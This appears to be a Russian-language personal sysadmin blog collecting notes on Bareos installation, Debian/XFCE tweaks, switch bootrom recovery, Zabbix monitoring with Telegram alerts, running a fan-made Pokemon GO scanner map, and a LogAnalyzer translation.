Заметки по Bareos

Bareos является форком Bacula, отделение произошло в 2010-м году по ряду причин, в том числе потому, что Bacula медленно развивалась и разработчики практически переориентировались на коммерцию.

В большинстве случаев мануалы по Bacula будут подходить и для Bareos, но это на стадии «вкуривания в суть», а после всё же рекомендую пользоваться примерами конфигов из своей инсталляции и официальной документацией, мало ли что там поменялось :-). Есть много статей в бложиках и на хабре.

На мой взгляд, чтобы понять логику работы такой системы, нужно рисовать. Поэтому я перерисовал и вольно перевёл схему из документации, описывающую взаимодействие компонентов.

Я разворачивал Bareos на CentOS 7 x64 и сначала поставил версию 15.2 из родного репозитория, а потом узнал что есть поновее (16.2), да и веб интерфейс хотелось поинтереснее, поэтому обновил пакеты и… и оказалось что в новой версии кое-что поменяли. Например поменяли структуру каталогов и если у вас есть конфиги из старой версии — используются они, если нет — используются конфиги из каталогов (по сути раздербанили большие конфиги на составляющие и разложили по папкам). На тот момент у меня в голове совсем всё смешалось и я снёс все конфиги и поставил Bareos заново.

cd /opt

# Добавляем репозиторий и обновляем список пакетов
wget -O /etc/yum.repos.d/bareos-16.2.repo http://download.bareos.org/bareos/release/16.2/CentOS_7/bareos.repo
sudo yum update
sudo yum install epel-release

# Устанавливаем, БД MySQL (MariaDB)
sudo yum install -y bareos-client bareos-database-tools bareos-filedaemon bareos-database-mysql bareos bareos-bconsole bareos-database-common bareos-storage bareos-director bareos-common mariadb-server

# Добавляем службы в "автозапуск"
sudo systemctl enable bareos-dir
sudo systemctl enable bareos-sd
sudo systemctl enable bareos-fd
sudo systemctl enable mariadb
sudo systemctl start mariadb

# Скрипт первоначальной настройки MySQL
# Естественно записываем себе куда-нибудь все логины и пароли
sudo mysql_secure_installation

# Создаем БД bareos
/usr/lib/bareos/scripts/create_bareos_database -uroot -p
/usr/lib/bareos/scripts/make_bareos_tables -uroot -p
/usr/lib/bareos/scripts/grant_bareos_privileges -uroot -p

# Устанавливаем пароль на пользователя bareos
mysql -uroot -p -e "UPDATE mysql.user SET Password=PASSWORD('пароль_пользователя_bareos') WHERE User='bareos';"

# Устанавливаем Apache и WebUI
sudo yum install httpd bareos-webui
sudo systemctl enable httpd
sudo systemctl start httpd

# Чтобы к серверу могли подключиться клиенты
# и "заработал" Apache нужно открыть доступ к портам,
# у меня этот пункт немало крови попил,
# всё-таки Debian расслабляет - там всё по умолчанию открыто.
sudo firewall-cmd --permanent --add-port=80/tcp
sudo firewall-cmd --permanent --add-port=443/tcp
# console
sudo firewall-cmd --permanent --add-port=9101/tcp
# dir
sudo firewall-cmd --permanent --add-port=9102/tcp
# dir, fd
sudo firewall-cmd --permanent --add-port=9103/tcp
sudo firewall-cmd --reload
sudo firewall-cmd --list-all
sudo setsebool -P httpd_can_network_connect on

# Так же httpd по умолчанию ругается на отсутствие ServerName, правим в
sudo nano /etc/httpd/conf/httpd.conf

# После чего перезапускаем его
sudo systemctl restart httpd

# Не забывайте что все сервисы bareos у нас ещё не запущены,
# а при изменении в конфигурационных файлах сервисы нужно перезапускать!
# Ну или делать sudo systemctl reload <service>

# Идём на http://ip_или_доменное_имя_сервера/bareos-webui/
# Кстати, службы bareos могут тестировать конфиги, например bareos-dir -t

# Делаем тупой редирект
sudo nano /var/www/html/index.html
<html>
<head>
<meta HTTP-EQUIV="REFRESH" content="0; url=http://ip_или_доменное_имя_сервера/bareos-webui/">
</head>
</html>

# Прописываем пароль на доступ к БД
sudo nano /etc/bareos/bareos-dir.d/catalog/MyCatalog.conf

# Создаём аккаунт для webui
sudo cd /etc/bareos/bareos-dir.d/console
sudo mv admin.conf.example admin.conf

# Меняем пароль и файле и перезапускаем сервис директора
sudo systemctl restart bareos-dir

Надо сказать что WebUI, как и Monitor используются для мониторинга, а управление работой осуществляется либо в консоли (bconsole), либо через конфигурационные файлы.

По дальнейшей логике работы может быть опишу позже… но что важно понимать:

При описании каждого задания (Job) указывается какие файлы сохранять (FileSet), откуда их сохранять (Client), когда сохранять (Shedule), куда сохранять (Pool).
Кроме заданий на сохранение можно описывать задания на восстановление, верификацию и администрирование.

Так же отдельной темой является понимание пулов (Pool) и томов (Volume).

Заметки по Ubuntu/Debian XFCE

Репозитории

Без них каши не сваришь 🙂 При установке системы говорим что хотим использовать зеркало, я обычно использую yandex и/или mephi. После установки комментируем запись, ссылающуюся на cd/dvd диск, которую Ubuntu уже давно сама комментирует, а Debian нет.

sudo nano /etc/apt/sources.list

Кстати, вы добавили своего пользователя в /etc/sudoers (по аналогии с root)? А у вас вообще стоит sudo?)
Так вот, для Debian 8 получится примерно так:

 
# deb cdrom:[Debian GNU/Linux 8 _Jessie_ - Official Snapshot amd64 LIVE/INSTALL$

deb http://mirror.yandex.ru/debian/ jessie main
deb-src http://mirror.yandex.ru/debian/ jessie main

deb http://security.debian.org/ jessie/updates main contrib non-free
deb-src http://security.debian.org/ jessie/updates main contrib non-free

# jessie-updates, previously known as 'volatile'
deb http://mirror.yandex.ru/debian/ jessie-updates main contrib non-free
deb-src http://mirror.yandex.ru/debian/ jessie-updates main contrib non-free

# deb-multimedia.org
deb http://www.deb-multimedia.org jessie main non-free

Для всех стандартных реп я дописываю на всякий случай main contrib non-free, а так же добавляю deb-multimedia, старый и очень полезный репозиторий. Инструкции по установке можно найти на deb-multimedia.org, ну и конечно не забываем выполнить:

sudo apt install deb-multimedia-keyring; sudo apt update;

GPG error / NO_PUBKEY

Исправляем ошибку, появляющуюся в выводе команды обновления списка пакетов (apt/apt-get/aptitude update) после добавления какого-нибудь хитрого репозитория.

W: GPG error: http://некий_URL InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY некий_PUBKEY

Исправляем:

sudo gpg --keyserver pgpkeys.mit.edu --recv-key некий_PUBKEY
sudo gpg -a --export некий_PUBKEY | sudo apt-key add -
sudo apt-get update

Либо другой keyserver, например keyserver.ubuntu.com

Добавление ppa от Ubuntu в Debian

Можно делать вручную, вписывая нужные строки в /etc/apt/sources.list, а можно так:

sudo apt install software-properties-common python-software-properties
sudo apt update

Теперь команда наподобие:

sudo add-apt-repository ppa:slytomcat/ppa

сработает и будут импортированы ключи и в /etc/apt/sources.list.d/ будет добавлен файл с названием и содержанием ссылки на соответствующий репозиторий. Но! в конце строки везде будет значится «…/ubuntu jessie main», поэтому нужно либо открыть Synaptic (о боже, не делайте так!) и в его свойствах исправить ссылку, либо просто отредактировать данный файл:

sudo nano /etc/apt/sources.list.d/название_репозитория.list

Меняем jessie на vivid, а если вдруг у вас wheezy, то на trusty (это, кстати, LTS релизы Ubuntu).
Если после обновления пакетов ошибка всё равно выдаётся, значит имеет смысл сходить по адресу из вашего list файла, например:
http://ppa.launchpad.net/numix/ppa/ubuntu
Там вы увидите папки dists и pool, смело заходите в dists и проверяйте какие там есть папки с именами релизов Ubuntu. Для редко или давно не обновляемых программ там будут только старые версии Ubuntu, поэтому не стесняемся и прописываем себе в list самый свежий. Чтобы не запутаться, откройте Список версий Ubuntu и сразу всё станет ясно :-).

PPPoE

Начиная с какого-то релиза network-manager-gnome перестал поднимать DSL (оно же PPPoE) соединение, ругаясь примерно так:
«Connection activation failed (1) Creating object for path ‘/org/freedesktop/NetworkManager/ActiveConnection/1’ failed in libnm-glib.»
И что вы думаете? Потрясающе, в зависимости всего навсего не включен пакет pppoe. Устанавливаем:

sudo apt install pppoe

Так же рекомендуется отредактировать его конфигурационный файл:

sudo nano /etc/NetworkManager/NetworkManager.conf

Меняем managed=false на managed=true
После чего перезапускаем:

sudo /etc/init.d/network-manager restart

VBoxClient: the VirtualBox kernel service is not running. Exiting.

На свежеустановленной Debian 8 при каждой загрузке всплывает ошибка VBoxClient: the VirtualBox kernel service is not running. Exiting.
Никакой такой VirtualBox не устанавливался, поэтому выполняем:

sudo apt remove virtualbox-guest-dkms virtualbox-guest-x11

Причёсываем XFCE

Выключаем гостевой вход и включаем вывод списка существующих пользователей (не для параноиков):

sudo nano /etc/lightdm/lightdm.conf

В файле есть блок где описывается за что отвечает каждая переменная, пропускаем его и ниже приводим указанные переменные в нужный вид:

greeter-session=lightdm-gtk-greeter
greeter-hide-users=false
greeter-allow-guest=false

Аттенщен! Следующий абзац представляет собой ИМХО, если оно вам не надо, не делайте!)
Главное меню — Настройки — Диспетчер окон (дополнительно) — Эффекты — ставим галочку Включить эффекты, нужно например для работы прозрачности в терминале, да-дааа…
На вкладке Доступность выбираем клавишу для перемещения окон Super (Win), т.к. с Alt бывают завязаны сочетания клавиш и это мешает.
Главное меню — Настройки — Клавиатура убиваем комбинацию Control+Alt+Delete, а xfce4-popup-whiskermenu выставляем Alt+Esc и Ctrl+Esc.
Главное меню — Настройки — Диспетчер окон — Клавиатура — Меню действий с окном меняем Alt+Space на Super+Space.
Открываем терминал и в его Параметрах ставим буфер прокрутки 1000000, цветовую схему Tango, прозрачность 85%, и в Дополнительно ставим две галочки в разделе Доступ к меню (отключить Alt+f и F10).

Приложение для настройки LightDM GTK+ Greeter

sudo add-apt-repository ppa:kalgasnik/ppa
sudo apt-get update
sudo apt-get install lightdm-gtk-greeter-settings gtk2-engines-murrine

Одна из отличных тем оформления и иконок, Numix:

sudo add-apt-repository ppa:numix/ppa
sudo apt-get update
sudo apt-get install numix-gtk-theme numix-icon-theme-circle

Затем идём в Главное меню — Настройки — Внешний вид, Диспетчер окон, Диспетчер окон (дополнительно), Настройки LightDM GTK+ Greeter и настраиваем всё по своему вкусу 🙂

Миграция с LibreOffice 4 на 5

sudo apt-get remove libreoffice* openoffice*
sudo add-apt-repository ppa:libreoffice/libreoffice-5-0
sudo apt-get update

Редактируем репозитории, аналогично описанному выше, для Debian 7 wheezy — trusty, Debian 8 jessie — vivid.

sudo nano /etc/apt/sources.list.d/libreoffice-ubuntu-libreoffice-5-0-vivid.list

Там будет что-то вроде:

deb http://ppa.launchpad.net/libreoffice/libreoffice-5-0/ubuntu vivid main
# deb-src http://ppa.launchpad.net/libreoffice/libreoffice-5-0/ubuntu vivid main

Устанавливаем:

sudo apt-get install libreoffice libreoffice-l10n-ru

Бывает что для установки не хватает каких-то древних библиотек, качаем вручную и ставим (разумеется под архитектуру вашей ОС, i386 или amd64), например тут:

http://packages.ubuntu.com/ru/precise/i386/libyajl1/download

Аналоги ACDSEE

Одни из самых адекватных:
gpicview
nomacs
shotwell
krita

Но вот аналогов родного mspaint.exe нет, а через wine он устанавливается… в общем не устанавливается, хотя есть варианты с PlayOnLinux.

Вход в специальные режимы на коммутаторах

О чём тут вообще?

Дисклеймер: как всегда предупреждаю что я не претендую на точность рассказа и приемлю любые комментарии и предложения. Материал пишется и адресуется инженерам, а не разработчикам  и программистам, понимающим глубинный=истинный смысл 🙂

Под входом в спец режимы я подразумеваю прерывание загрузки основной прошивки (Firmware) коммутатора для попадания в режим BootRom, который может называться BootProm, ROMMON или ещё как-нибудь и представляет собой аналог загрузчик операционной системы, например grub на UNIX подобных системах или Recovery на устройствах с Android.

Для чего нам этот режим? Как правило для того, чтобы сбросить пароль, очистить конфиг (особенно если на корпусе нет волшебной кнопки Reset), вылечить запоротую прошивку или просто прошить железку, ибо вендор сказал «делай так». Да, бывают случаи когда консольник не распаян, а на корпусе пломба (плюс гарантия не истекла), запорот сам BootRom или божечки стоит пароль на BootROM, тогда вам прямая дорога в сервисный центр производителя.

Ближе к делу

Попасть в такой режим можно только подключившись консольным кабелем к пациенту и открыв ваш любимый клиент. Уж не знаю на счёт Cisco (в мануалах всегда говорится о Hyper Terminal), но с остальными производителями прокатывал любой клиент умеющий слушать COM порт. Если у вас нет COM порта, а такое дело уже совсем не редкость, надо нашарить COM to USB адаптер/конвертер/кабель, причём не покупайте самый дешёвый на aliexpress, особенно в однокорпусном исполнении, потому что они нихерашечки не работают, а всё дело в кривых китайских прошивках! Так вот, а в этот адаптер уже втыкайте родной коммутатору консольник (а они тоже бывают разной распайки и разъёмов: COM, RJ-45, miniUSB…).

Конечно же мануал на конкретную модель или тикет в поддержку лучшее решение, но не все вендоры предоставляют бесплатную поддержку (так-так, а контрактик-то у вас не активный!), а иногда вендор уже помер на момент ваших эпических похождений, так что некоторые полезные вещи можно найти только на форумах да в бложиках.

D-Link

И прочие QTECH, EdgeCore, Zyxel, Eltex, Huawei…

Вход в режим BootRom (или BootProm) осуществляется нажатием комбинации Control+b, на некоторых QTECH встречается сочетание клавиш Shift+a, на Eltex бывает Esc или Enter. Коммутатор должен быть подключен консольным кабелем, на ПК открыт клиент с правильными параметрами, нажимать заветную комбинацию нужно несколько раз (ну… как вы долбите F8 для Windows) сразу же после подключения к коммутатору силового кабеля, пока не началась загрузка основного образа прошивки.

Скорректированная информация с просторов Интернета по аппаратному сбросу настроек и пароля для коммутаторов D-Link, не имеющих аппаратной кнопки Reset (с определённой версии прошивки данный функционал беспощадно выпилили убрали):

1. Необходимо сконфигурировать и подключиться к коммутатору через интерфейс RS-232 и Hyper Terminal согласно документации. Настройки, как правило, одинаковые /VT100+ANSI+9600+n+8+1/, т.е. стандартные: скорость 9600 бод, четность не проверяется, 8 бит данных, 1 стоповый бит, управление потоком данных отсутствует.

Кстати: бывают модели со скоростью 115200 (старшие модели D-Link или например Zyxel), либо отдельные ревизии данной модели, на которые ставятся модули с другой скоростью (у того же QTECH). То, что у вас другая скорость вы поймёте по кракозябрам вместо нормальных символов в консоли.

2. Запускаем Hyper Terminal (интерфейс RS-232 при этом должен быть подключен!), включаем коммутатор, СРАЗУ же нажимаем комбинацию клавиш Shift+3, появится приглашение на английском о смене скорости терминала на 115000 (вообще-то 115200 должно быть?!), для чего отконнектимся от свича, ставим в настройках порта в терминале 115000 и снова коннектимся им к свичу… Далее выбираем меню Передача и далее Отправить файл, в открывшемся окне нужно выбрать файл с прошивкой данного коммутатора. Жмём отправить.

3. Собственно всё, после отправки (обновления) прошивки меняем скорость соединения на стандартную, т.е. 9600 и перед нами консоль коммутатора с заводскими настройками и сброшенным паролем.

Сброс пароля на коммутаторах D-Link:
Работает не на всех коммутаторах и версиях Firmware. При включении коммутатора через консоль Hyper Terminal жмём комбинацию клавиш Shift+6. Далее коммутатор скажет, что выполняется возврат к заводским настройкам.

Изюм: некоторые модели D-Link/QTECH в режиме BootRom напрочь отказываются загружать прошивку с TFTP сервера, прерываясь на каких-нибудь 14 или 30%. В таких случаях тупо попробуйте другую реализацию сервера, например у D-Link есть своя собственная http://ftp.dlink.ru/pub/Software/DLinkTftpServer.exe или реализации на python, или вот тут посмотрите http://stackoverflow.com/questions/2469632/tftp-server. При этом, естественно, коммутатор к ПК должен быть подключен двумя кабелями — консольным и витой парой, а то через консольник TFTP не работает!

Cisco

Стандартные сочетания клавиш для прерывания: http://www.akvilona.ru/serv/cisco/a_klavish.htm
Сброс на Catalyst 2950: https://www.opennet.ru/tips/2314_cisco_catalyst_password.shtml
Или же на всяких разных цисках: http://xgu.ru/wiki/rommon
Или статьи на каноничном: например такая или вот такая.

Автоматизируй всё (в Zabbix) — Новости

У нас, как и у любого ISP, есть отношения с поставщиками страданий электроэнергии. Нас никак не оповещают, но в прошлом году на сайте поставщика появился регулярно обновляемый блок новостей с предупреждениями о плановых работах. RSS на сайте нет, поэтому приходилось регулярно на него ходить и проверять, однажды это дело мне надоело… И я решил его тоже мониторить.

Собственно всё очень просто: забираем curl’ом страницу, вырезаем нужный нам кусочек, вычищаем мусор и тэги. У меня команда получилась такой: (используются регулярные выражения с http://ant0.ru/sed1line.html)

UserParameter=ключ,curl --silent http://URL_странички | sed -n '/вырезаем_строки_от_содержащей_вот_это/,/до_содержащей_вот_это/p' | sed -e :a -e 's/<[^>]*>//g;/</N;//ba' | sed 's/^[ \t]*//;s/[ \t]*$//' | sed '/./,/^$/!d'

Перезагружаем заббикс агента для применения конфигурации. На стороне заббикс сервера как обычно создаём шаблон. Добавляем группу данных и элемент в ней. Указываем какое хотим имя элемента данных, тип: Zabbix агент, ключ: ключ, тип информации: текст, интервал обновления: 300 секунд, т.к. сайт обновляется редко.

Затем добавляем два триггера, важность выбираем в зависимости от ценности информации. Один для уведомления с выражением типа: {Название_шаблона:ключ.diff()}=1 Триггер будет срабатывать если последнее (самое новое) значение отличается от предыдущего.

И второй триггер с выражением {Название_шаблона:ключ.nodata(600)}=1 подсказывающий нам что данн по каким-то причинам не были получены.

Затем нужно перейти в раздел Настройки — Действия и склонировать ваше типичное действие для уведомлений в мессенджеры или на email. После чего отредактировать, изменения будут следующими: нужно отключить сообщение о восстановлении, в теле сообщения отправлять {ITEM.LASTVALUE1}. В Условиях указать Значение триггера = ПРОБЛЕМА и Триггер = (тут выбираете свой триггер, естественно не из узла, а из шаблона). В Операциях будет один шаг, с 1 по 1, тип операции: отправить сообщение, кому и каким способом отправлять уже будет настроено, в Условиях добавить Событие подтверждено = Не подтверждено.

Как наколхозить карту для Pokemon GO

Данный пост следовало опубликовать пару недель назад, но я бросил всю эту движуху и занялся другими делами. Мини рассказ о том, как убить вечер выходного дня, поехали :-).

На волне хайпа по покемонам уже создано сумасшедшее количество ПО, только на github’е больше 16к репозиториев. И до изменения API с картами всё было довольно просто — качаешь https://github.com/AHAAAAAAA/PokemonGo-Map и вперёд. Но потом Niantic обиделись и вместо нормального апгрейда сетевой части игры и серверных мощностей начали делать всякие глупости, о чём писали на https://habrahabr.ru/post/307974/. Ну а чем меньше фич в игре работало (лапки, трекинг, изначальное отсутствие чатов, пвп, развития геймплея) и чем больше было банов, тем больше падал интерес честных игроков. А после «расшифровки» новой версии API количество ботов, карт и прочего фансервиса только увеличилось, ибо все хотели урвать себе кусочек такого знатного пирога. Разрабы всей этой прелести призывают к пожертвованиям через PayPal, биткоины, etc… или просто показывают рекламу.

Ну а мы хотим просто нормальную карту в свою деревню, ибо релиза в этой стране не было, плотность покестопов и гимов маленькая, а прокачаться хочется.

Гугление дало десктопную карту https://github.com/mchristopher/PokemonGo-DesktopMap/releases и т.к. было почему-то лень искать другие форки или обратиться к 4pda, я решил позапускать данную карту в большом количестве экземпляров. С чем и возникли проблемы. Карта решительно не хотела работать на win 2008 server, после чего переехала на win 7 x64 (всё это виртуальные машины), после чего не хотела работать более чем с 8 аккаунтами. Впоследствии выяснилось, что дело в другом — ниантик ужесточил условия для аккаунтов и теперь после регистрации нужно было логиниться в игре, принимать лицензионное соглашение, выбирать внешность, ловить первого покемона, вводить никнейм и после этого уже бегать и наслаждаться жизнью. Тем не менее, я думал, что это проблема с БД, плюс программа потребляла много ресурсов (особенно в таком количестве копий) и решил поискать другие решения. Таким образом, были просмотрены некоторые конфигурационные файлы и в итоге найдена волшебная папка, аналогичная AHAAAAAAA/PokemonGo-Map, только с новым API.

C:\Users\UserName\AppData\Local\pokemon\app-0.2.1\resources\app\map

Папка была тут же перенесена на Debian 7 и карта не запустилась, потому что просила всякого и разного. Установить все зависимости не получилось, споткнулся на старой версии libc6, поэтому всё переехало на Ubuntu, запустилось, а потом уже на виртуалку с Debian 8.

Затем мне захотелось сделать покрытие без дыр, благо карта позволяет отрисовать отслеживаемые области, по которым «прыгает» бот и сканирует окрестности. В зависимости от количества шагов получаются соты с радиусом в количество шагов. Потом я напечатал карту на принтере и попытался порисовать и поприкладывать вырезанные соты… как вы понимаете, точность была не велика, но принцип понятен, поэтому всё это дело я перенёс в гугл таблицы и начал думать как рассчитывать смещение сот относительно друг друга. С математикой было довольно тяжко разбираться в час ночи, тем более сначала я не учёл некоторые детали, вроде количества окружностей и поправки на радиус этих маленьких окружностей…

С рисунком будет понятнее. Разные цвета — это наши соты, красный-прекрасный это точка отсчёта в удобном месте района или города. Следующие соты подбираются исходя из удобства и необходимости покрыть территорию. Диаметр большого круга — это круг описанный около соты (т.е. вокруг шестиугольника), маленького круга — одного шага (если не понятно — смотрите следующую картинку), dy — сдвиг по оси y (вертикальная), dx — соответственно по x (горизонтальной). Диаметры вычислялись приблизительно по Google Maps вычитанием координат, сдвиги вычислялись на основе каких-то забытых знаний геометрии, а потом корректировались подбором, т.к. наши соты должны слегка «залазить» друг на друга, чтобы исключить просветы.

Дальше всё просто, вбиваем координаты в ячейки начальной точки (Внимание! Алярм! В гугло картах и соответственно скриптах в качестве разделителей целой и дробной части числа используются точки, в вычислениях в таблице — запятые). Выбираем следующую соту, например она будет выше и правее, значит координата y увеличится и координата x, внезапно, тоже, поэтому смело печатаем что-то вроде =Q19+C3 и =R19+C4 соответственно, аналогичным образом получаем сколько угодно координат нужных сот. Пусть не особо автоматизировано, зато просто и понятно.

Подготавливаем серверную часть. Переносим файлы карты в, хм… какой-нибудь /opt/go или в ~/go

Переходим в эту директорию, устанавливаем нужных владельцев на файлы и папки. Затем устанавливаем необходимые зависимости и проверяем что всё хорошо. Операционная система, напомню, debian 8 или ubuntu 15.04 и старше.

apt install python-pip python-dev
pip install -r requirements.txt
pip install --upgrade pip
pip install -r requirements.txt
pip install xxhash
pip install raven

Содержимое скрипта startthis.sh (и не забываем сделать его исполняемым!)

#!/bin/bash

tokillbypid=`ps axu | grep кусок_вашего_ключа_гугло_карт | grep runserver.py | awk '{print $2}' | head -n1`

while [ "$tokillbypid" ]
 do
 echo -e "PID процесса: $tokillbypid"
 kill -9 $tokillbypid
 sleep 1
 tokillbypid=`ps axu | grep кусок_вашего_ключа_гугло_карт | grep runserver.py | awk '{print $2}' | head -n1`
 echo "Следующий PID: $tokillbypid"
 done

# Формируем строки запуска отдельных экземпляров карты, для каждого экземпляра отдельные: логин и пароль (PTC), координаты и порт.
# Одни на всех: ваш личный (специально зарегистрированный) ключ для гугло карт из панели https://console.developers.google.com , IP адрес или имя хоста.

sleep 2; python runserver.py -a ptc -u логин -p пароль -st 4 -fl -k ключ -l "координата_y, координата_x" -H IP_адрес_или_имя_хоста -P порт > /dev/null 2>&1 &

exit 0

Ранее карты работали не особо стабильно, поэтому проще было не проверять их, а просто убивать каждые 30-40 минут. Добавляем в крон по crontab -e

*/30 * * * * cd ~/go && bash startthis.sh

Не кошерно? — Ну, пока как умею.

По следующей картинке виден результат (по умолчанию данные области не отображаются, можно включить в боковой панели настроек на самой странице с картой). Далее страницу можно встроить в какой-нибудь html фрейм, как душе угодно.

Кстати все скрипты пишут данные в одну и ту же БД sqlite, поэтому результаты работы всех копий отображаются вместе.

Уведомления от Zabbix в Telegram

В Интернете есть много статей про ботов в Telegram на python, bash, etc… но если вам нужна простейшая, ни от кого не зависимая уведомлялка, то читайте дальше.

Бот

Регистрируем своего бота, для этого пишем в Telegram боту @BotFather

/newbot

BotFather
Alright, a new bot. How are we going to call it? Please choose a name for your bot.

Zabbix

BotFather
Good. Now let's choose a username for your bot. It must end in `bot`. Like this, for example: TetrisBot or tetris_bot.

имя_вашего_бота

BotFather
Done! Congratulations on your new bot. You will find it at telegram.me/zbxmtbot. You can now add a description, about section and profile picture for your bot, see /help for a list of commands.

Use this token to access the HTTP API:
токен:бота

For a description of the Bot API, see this page: https://core.telegram.org/bots/api

/setuserpic

BotFather
Choose a bot to change profile photo.

@имя_вашего_бота

BotFather
OK. Send me the new profile photo for the bot.

Скрипт

На Zabbix сервере добавляем скрипт, через который будут отправляться сообщения. KEY, он же токен бота берем из диалога с BotFather.

nano /usr/lib/zabbix/alertscripts/zbxtg.sh
#!/bin/bash

USERID=$1
THEME=$2
BODY=$3

KEY="токен:бота"
TIMEOUT="10"
URL="https://api.telegram.org/bot$KEY/sendMessage"

TEXT="$THEME
$BODY"

PARSEMODE="markdown"

curl -s --max-time $TIMEOUT -d "chat_id=$USERID&disable_web_page_preview=1&parse_mode=$PARSEMODE&text=$TEXT" $URL > /dev/null

Кстати, обратите внимание на вот этот кусочек кода:

TEXT="$THEME
$BODY"

Таким образом обеспечивается перенос строки, я пробовал всякие там <br>, <br />, /n, /r — ничего не работало, а вот такой перенос — работает ;-). И ещё хозяйке на заметку (хотя я это и не использую): All <, > and & symbols that are not a part of a tag or an HTML entity must be replaced with the corresponding HTML entities (< with &lt;, > with &gt; and & with &amp;).

Меняем владельца и делаем скрипт исполняемым.

chown zabbix:root /usr/lib/zabbix/alertscripts/zbxtg.sh
chmod +x /usr/lib/zabbix/alertscripts/zbxtg.sh

Параметрами $1, $2, $3 для скрипта являются получатель, тема и тело сообщения. Вы можете сами проверить как Zabbix будет дёргать скрипт, выполнив команду /usr/lib/zabbix/alertscripts/zbxtg.sh user_id message_theme message_body

Чтобы узнать свой user id, нужно найти бота в поиске в приложении Telegram или перейти по ссылке http://telegram.me/имя_бота и нажать на /start и что-нибудь ему написать, после чего зайти на https://api.telegram.org/botтокен:бота/getUpdates и увидеть факт отправки сообщения от вас боту. Сообщения будут иметь вид:

"message":{"message_id":14681,"from":{...},"chat":{"id":123456789,"first_name":"REALNAME","username":"NICKNAME","type":"private"},"date":...

Где «chat»:{«id»:123456789 и будет user id. Для группы:

"message":{"message_id":14686,"from":{...},"chat":{"id":-12345678,"title":"GROUPNAME","type":"group"},"date":...

Где user id будет: «chat»:{«id»:-12345678

Заметка: чтобы добавить бота в группу, нужно нажать на название группы в Telegram, выбрать Добавить участников и в поиске набрать имя_бота.

Оповещение

Добавляем способ оповещения, для этого идём в Администрирование — Способы оповещений, добавляем новый. Указываем Имя оповещения, Тип: Скрипт, Имя скрипта: zbxtg.sh (подразумевается, что скрипт лежит в определённой директории, которая указывается в конфиге сервера, т.е. в /etc/zabbix/zabbix_server.conf).

Дополнение для Zabbix 3.0

В третьей версии Zabbix нужно при создании media type обязательно указывать три параметра {ALERT.SENDTO}, {ALERT.SUBJECT} и {ALERT.MESSAGE}, как написано тут: https://www.zabbix.com/documentation/3.0/manual/config/notifications/media/script иначе $1..$3 не передаются в скрипт, и, соответственно, ничего не работает. Спасибо за дополнение Dmitry Burtsev и Nikolay Groo
Первоисточник: https://hellsman.ru/admin/linux/opoveshheniya-zabbix-cherez-telegram-s-pomoshhyu-telegram-botapi#hcq=NtUMuOp

Действие

Добавляем действие, для этого идём в Настройка — Действия, выбираем Источник событий — Триггеры и добавляем новое (обычно в этом разделе уже есть какое-нибудь оповещение через email или т.п.). Далее идёт самый изюм, из-за которого стоит просмотреть этот пост :-). Если событий сыпется много, то их дико неудобно воспринимать, а в телеге можно кое-как отформатировать текст, чем и воспользуемся.

Итак, Имя — названия действия
Тема по умолчанию *{HOST.NAME1} — *`{TRIGGER.STATUS}`* — {EVENT.DATE} — {EVENT.TIME}*
Сообщение по умолчанию {TRIGGER.NAME}

Если Вам нужно сообщение о восстановлении, то ставим галочку и заполняем поля аналогично. На вкладке Условия добавляем какие душе угодно зависимости: узлы/группы/шаблоны, важность триггеров, время и прочее.

На вкладке Операции добавляем операцию с шагом от 1 к 1, добавляем группы пользователей или пользователей, которым нужно отправлять сообщение (ну и вообще для которых это действие будет работать), выбираем способ оповещения в Отправлять только через. Обновляем, добавляем, сохраняем.

Длительность шага работает так: срабатывает триггер, с этого момента начинается отсчёт времени и это промежуток времени считается шагом 1. Когда отсчитывается N секунд, соответствующее длительности (по умолчанию 60 сек), наступает шаг 2 и т.д. Таким образом можно например отправлять сообщения разными способами (sms, email, etc) или определённым пользователям/группам если событие (триггер) не подтверждено в течение какого-либо времени.

Пользователь

Добавляем способ оповещения для пользователя. Для отправки сообщения в телеграмовскую группу я создал фиктивного пользователя в Zabbix и добавил ему оповещение с id группы (для групп всегда со знаком минус).

В результате получаем сообщения такого вида:

Напоследок

Дополнительный совет по поводу Telegram. Русификация: пишем @telerobot фразу locale windows ru, скачиваем файлик. По инструкции нужно зажать Alt+Shift и нажать на кнопку выбора языка в настройках, но под линуксом это не работает, поэтому заходим в настройки и просто печатаем на клавиатуре волшебное слово loadlang после чего открывается окно с выбором файла для локализации.

Локализация Adiscon LogAnalyzer

Сегодня завершил перевод на русский язык Adiscon LogAnalyzer. В будущем возможны правки, но на данный момент перевод вполне адекватен и готов на 100%.

Скачать утилиту можно тут: http://loganalyzer.adiscon.com/downloads/

Скачать перевод тут: https://www.transifex.com/adiscon/loganalyzer/

Первый вариант перевода интерфейса для достаточно старой версии был найден на просторах интернета, админ панель не была переведена вовсе. Я перевел административную панель и написал разработчикам вопрос по поводу локализации, собственно вот: http://custservice.adiscon.com/view.php?ticketid=34570

После этого прошло больше полгода, я участвовал в переводе SeaFile, TeamPass и по мелочи других вещей. В итоге вспомнил про LogAnalyzer 🙂 и зарегистрировал проект на Transifex, т.к. разработчики не захотели с этим делом заморачиваться, да и сам LogAnalyzer не сильно популярен (?) в мире. Transifex в отличие от подобных инструментов довольно удобен, а так же бесплатен для Open Source проектов. Я добавил имеющиеся локализации и довёл до ума перевод на русский, как основного интерфейса, так и административного центра.

Чтобы скачать придётся авторизоваться, например через соц. сети, найти проект, язык, необходимый ресурс и выбрать «Скачать для использования».

Редактировать можно как оффлайн, так и онлайн. Для этого необходимо подать заявку на вступление в команду проекта.

Кстати, попалась хорошая статья по теме на хабре: http://habrahabr.ru/post/213519/

Top translations: loganalyzer » admin.php

Top translations: loganalyzer » main.php

Обновление от 12.07.2016: Оказалось что перевод теперь нельзя скачать без вступления в команду переводчиков, поэтому на всякий случай прикладываю дампы переводов сюда.

Структура следующая:
lang/ru/
admin.php
info.txt
main.php

Где ru — название языка, в info.txt — расшифровка языка (слово, которое выводится в настройках при выборе языка), admin.php — локализация админ панели, main.php — локализация основного интерфейса. Да, вам придётся выбрать нужные файлы, переименовать их и положить в нужную папку.

admin.php
info.txt
main.php

Простой мониторинг SSL сертификатов с помощью Zabbix v2

Обновил шаблон мониторинга ssl сертификатов zbx_export_templates_ssl2.xml

Так же как и в случае предыдущей версии импортируем шаблон и прикрепляем к узлу Zabbix server.

Пользовательские параметры в конфиге на заббикс сервере /etc/zabbix/zabbix_agentd.conf

UserParameter=ssl.current,date +%s
UserParameter=ssl.1w,echo 604800
UserParameter=ssl.2w,echo 1209600
UserParameter=ssl.3w,echo 1814400

